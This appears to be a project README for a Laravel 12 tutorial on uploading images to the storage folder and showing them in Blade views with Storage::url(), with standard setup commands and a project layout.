This guide helps you learn to upload and display images in Laravel 12 using the storage folder. You will discover how to use Storage::url() and serve files securely. Letβs begin!
In this tutorial, you will learn:
- How to upload images to your storage folder.
- How to set up
storage:linkfor public access. - How to securely serve files in your Laravel application.
- How to display images in Blade views.
Before you start, make sure you have these:
- PHP version 8.0 or higher.
- Composer installed on your machine.
- A web server such as Apache or Nginx.
- Basic knowledge of using a command line interface.
Follow these steps to download and set up the application:
-
Visit the Releases Page: Go to the Releases page in the repository.
-
Download the Latest Version: Find the latest version available and click the link to download the application files.
-
Extract the Files: Once downloaded, extract the files to a folder of your choice.
-
Open Your Command Line: Navigate to the extracted folder using the command line.
-
Install Dependencies: Run the following command to install the needed packages:
composer install -
Set Up Environment Variables: Copy the
.env.examplefile and rename it to.env. Open the file and set your database details and other configurations. -
Generate Application Key: Run this command to generate a unique application key:
php artisan key:generate -
Set Up Storage Link: Run this command to create a symbolic link from the public storage directory to the storage folder:
php artisan storage:link -
Migrate Database: Run the following command to set up the database tables:
php artisan migrate -
Run the Application: Start the Laravel development server with this command:
php artisan serveNow visit
http://localhost:8000in your web browser.
To upload images:
- Navigate to the upload section in the application.
- Select an image file from your computer.
- Click the upload button.
Once uploaded, you can easily view the images displayed in the app.
To display images in your Blade views:
- Use the
Storage::url($path)helper function to generate the URL for your image. - Add an
<img>tag in your Blade file.
Example:
<img src="{{ Storage::url('uploads/photo.jpg') }}" alt="Uploaded Image">Laravel provides ways to ensure that your files are secure. The Storage facade helps manage all your storage needs safely. Always check to make sure that only authorized users can access sensitive files.
If you encounter issues:
-
Check your web server configuration.
-
Ensure your permissions are properly set for the storage folder. Use the command:
chmod -R 775 storage/ -
Verify your
.envconfiguration.
Hereβs what your project structure should look like:
laravel-12-display-image-from-storage-folder/
βββ app/
βββ bootstrap/
βββ config/
βββ database/
βββ public/
β βββ storage/ (linked to the storage folder)
βββ resources/
β βββ views/
βββ routes/
βββ storage/
β βββ app/
β βββ framework/
βββ .env
If you want to help improve this project, feel free to create a fork and submit a pull request. Your contributions are welcome!
This project is open-source and available under the MIT License.
Stay tuned for updates on new features, bug fixes, and improvements. Regular updates will enhance your user experience and keep the app running smoothly.
You now have everything you need to download, set up, and utilize this Laravel 12 image upload and display tutorial. Follow the steps carefully, and youβll have a functional application in no time.
For further assistance or questions, feel free to reach out!
Remember to Download your copy today!